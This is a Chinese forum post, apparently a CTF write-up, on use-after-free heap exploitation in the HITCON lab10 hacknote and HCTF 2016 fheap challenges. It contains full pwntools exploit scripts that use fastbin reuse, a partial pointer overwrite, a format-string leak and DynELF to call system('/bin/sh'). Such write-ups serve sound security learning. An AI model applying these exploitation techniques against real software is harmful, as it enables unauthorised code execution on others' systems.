首页
论坛
课程
招聘
[原创]PWN学习Use After Free
2020-8-19 10:07 2102

[原创]PWN学习Use After Free

2020-8-19 10:07
2102

内存释放后没有进行置 NULL,导致可以对这块内存再次使用


image.png


HITCON training lab10 hacknote


有一个 cat flag 的后门


image.png


申请的内存会放在这个数组这里


image.png


同时在 del_note 函数中,free 过后的指针没有置为 NULL


image.png


希望能通过改变指针来让程序执行后门读取 flag

我们先随便申请两个来看一下内存是怎么分布的


image.png


每申请一个,首先会申请一个 0x10 大小的,用来存放 printf 的地址与申请的堆块的地址

然后会把申请的堆块的地址放到 notelist 数组中


然后我们释放掉他们两个,这样四块 chunk 都会被放在 fastbin 中(fastbin 是后进先出),这时候再去申请一个 0x8 大小的,当然为了对齐他会申请 0x10,这样原本两个 0x10 大小的用来放 printf 和堆块指针的 chunk 就被用来作为这次申请的放 printf 之类的和真正申请的 chunk 的地址,所以我们就可以改掉其中一个放 printf 的地方的地址为 magic 的地址,然后通过 show 来 cat flag

#coding:utf-8
from pwn import *
p = process('./hacknote')
#p = remote('node3.buuoj.cn',28416)
magic_addr=0x8048986

def cmd(choice):
  p.sendlineafter('choice :',str(choice))

def addnote(size,content):
  cmd(1)
  p.sendlineafter('size :',str(size))
  p.sendlineafter('Content :',content)
  
def delete(index):
  cmd(2)
  p.sendlineafter('Index :',str(index))
  
def show(index):
  cmd(3)
  p.sendlineafter('Index :',str(index))

addnote(16,'aaaa') #0
addnote(16,'bbbb') #1

delete(0)
delete(1)

addnote(8,p32(magic_addr))
gdb.attach(p)
pause()
show(0)
p.interactive()

2016 HCTF fheap


参考:https://aluvion.github.io/2019/05/14/HCTF2016-fheap%E5%AD%A6%E4%B9%A0/

emmm,这个题...一开始没用 IDA 看我还以为题目出了问题,他是输入选项字符串


image.png


如果输入的长度是小于 0xF 的话直接放到一开始 malloc 的 ptr 那里,如果大于的话先申请一个,放到申请的里面再把后来申请的这一个的地址给放到 ptr 中


image.png


另外 ptr+3 那个位置还放了调用 free 函数的地址


image.png


image.png

create(0x10,'yichen')
create(0x20,'a'*17)

image.png


对于代码段来说,只需要把地址改成 d2d 就能执行 puts 函数


image.png


image.png


思路是首先申请两个小于 0xf 的堆,然后释放掉,再申请一个大于 0xf 的,这样放这个 chunk 的指针的地方占前面释放的一个,这个 chunk 占另一个,同时这个 chunk 可以修改掉之前存放用来 free 的函数的地址的那个地方,我们把最后一位改成 \x2d,就改成 puts 函数的地址了,当 delete 的时候就会把真实地址给泄露出来


image.png


拿到真实地址之后再减去 0xd2d 得到的就是基址,那么基址加上 printf 的偏移拿到 printf 的地址,通过 printf 格式化字符串来泄漏 system 的地址


通过调试可以发现我们输入的 yes12345 正好在栈上第三个参数的位置,而 64 位程序,在寄存器上面还有 6 个参数,所以是第九个参数


image.png


然后写出这样一个 leak 函数

def leak(addr):
  delete(0)
  data = '%9$sAA' + '#'*(0x18 - len('%9$sAA')) + p64(printf_plt)
  #前面24个占空,后面写成printf的地址
  create(0x20, data)
  p.recvuntil("quit")
  p.sendline("delete string")
  p.recvuntil('id:')
  p.sendline(str(1))#然后一释放,就会去调用printf
  p.recvuntil('sure?:')
  p.sendline('yes12345' + p64(addr))
  data = p.recvuntil('AA')[:-2]#就能得到addr的内容
  data += "\00"
  return data

再这样就能自己找出来了

d = DynELF(leak,base_addr,elf = ELF('./pwn'))
system_addr = d.lookup('system','libc')

拿到 system 的地址之后我们要做的就是把 system 的地址写到 free 的那个函数那里,然后拿到 shell

data = '/bin/sh;' + '#'*(0x18 - len('/bin/sh;')) + p64(system_addr)
create(0x20,data)
delete(1)

完整 exp

from pwn import *
context.log_level = "debug"
p = process("./pwn")
elf = ELF("./pwn")

def create(size,content):
  p.sendline('create ')
  p.sendlineafter('size:',str(size))
  p.sendafter('str:',content)
  
def delete(index):
  p.sendline('delete ')
  p.sendlineafter('id:',str(index))
  p.sendafter('sure?:','yes 12345')

def leak(addr):
  delete(0)
  data = '%9$sAA' + '#'*(0x18 - len('%9$sAA')) + p64(printf_plt)
  create(0x20, data)
  p.recvuntil("quit")
  p.sendline("delete string")
  p.recvuntil('id:')
  p.sendline(str(1))
  p.recvuntil('sure?:')
  p.sendline('yes12345' + p64(addr))
  data = p.recvuntil('AA')[:-2]
  data += "\00"
  return data

create(0x4,'aaaa')
create(0x4,'aaaa')
delete(1)
delete(0)

create(0x20,'a'*24+'\x2d')
delete(1)
p.recvuntil("a"*24)
puts_addr = u64(p.recvline("\n")[:-1].ljust(8,"\x00"))

base_addr=puts_addr-0xd2d
printf_plt = base_addr + 0x9d0

delete(1)

d = DynELF(leak,base_addr,elf = ELF('./pwn'))
system_addr = d.lookup('system','libc')
delete(0)
data = '/bin/sh;' + '#'*(0x18 - len('/bin/sh;')) + p64(system_addr)
create(0x20,data)
delete(1)
p.interactive()

[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

最后于 2020-8-19 10:15 被yichen115编辑 ,原因: 上传附件
上传的附件:
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回